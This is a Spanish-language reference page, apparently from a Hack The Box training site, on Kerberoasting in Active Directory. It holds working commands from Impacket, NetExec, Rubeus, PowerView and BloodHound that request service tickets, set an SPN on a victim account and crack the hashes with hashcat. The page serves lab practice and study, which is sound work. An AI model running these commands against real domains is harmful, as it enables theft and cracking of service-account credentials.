Kerberoasting
Subtécnica de T1558 Robar o forjar tickets de Kerberos
Pedir tickets de servicio de cuentas con SPN y crackear offline la contraseña de la cuenta de servicio.
Cómo aparece en Hack The Box
Cualquier usuario del dominio puede hacerlo. Si tienes permiso de escritura sobre un usuario, puedes ponerle un SPN (targeted kerberoasting) y crackear su contraseña igual.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada en Windows y Active Directory › Active Directory
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -requestCrackea con hashcat -m 13100.
Active Directory a fondo › BloodHound
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnamesActive Directory a fondo › Impacket
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txtCrackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt
Hashcat › Modos más usados
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txtNetExec (nxc) › Kerberos y credenciales
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txtPowerView › Enumerar
Get-DomainUser -SPN | select samaccountname,serviceprincipalnamePowerView › Abusar de las ACL
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $credRubeus › Roasting
.\Rubeus.exe kerberoast /outfile:kerberoast.txtNingún comando coincide.